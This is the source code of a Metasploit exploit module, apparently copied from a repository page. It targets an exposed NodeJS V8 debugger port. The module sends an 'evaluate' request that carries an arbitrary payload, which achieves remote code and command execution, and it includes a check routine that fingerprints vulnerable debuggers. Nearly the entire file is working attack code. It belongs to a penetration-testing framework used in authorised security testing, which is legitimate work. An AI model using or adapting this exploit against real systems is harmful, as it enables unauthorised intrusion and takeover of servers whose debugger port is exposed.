adfoster-r7
102 lines
2.9 KiB
Ruby
102 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => "NodeJS Debugger Command Injection",
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'Description' => %q{
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This module uses the "evaluate" request type of the NodeJS V8
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debugger protocol (version 1) to evaluate arbitrary JS and
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call out to other system commands. The port (default 5858) is
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not exposed non-locally in default configurations, but may be
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exposed either intentionally or via misconfiguration.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
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'References' => [
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[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
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[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
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],
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'Targets' => [
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['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
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],
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'Privileged' => false,
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'DisclosureDate' => '2016-08-15',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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Opt::RPORT(5858)
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]
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)
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end
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def make_eval_message
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msg_body = {
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seq: 1,
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type: 'request',
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command: 'evaluate',
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arguments: {
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expression: payload.encoded,
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global: true,
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maxStringLength: -1
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}
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}.to_json
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msg_header = MESSAGE_HEADER_TEMPLATE % { :length => msg_body.length }
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msg_header + msg_body
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end
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def check
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connect
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res = sock.get_once
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disconnect
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return Exploit::CheckCode::Unknown('V8 debugger protocol not detected') unless res
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if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
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vprint_status("Got debugger handshake:\n#{res}")
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return Exploit::CheckCode::Appears('Node.js V8 debugger protocol detected')
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end
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Exploit::CheckCode::Unknown('V8 debugger protocol not detected')
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end
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def exploit
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connect
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# must consume incoming handshake before sending payload
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buf = sock.get_once
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msg = make_eval_message
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print_status("Sending #{msg.length} byte payload...")
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vprint_status("#{msg}")
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sock.put(msg)
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buf = sock.get_once
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if buf.include? '"command":"evaluate","success":true'
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print_status("Got success response")
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elsif buf.include? '"command":"evaluate","success":false'
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print_error("Got failure response: #{buf}")
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else
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print_error("Got unexpected response: #{buf}")
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end
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end
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end
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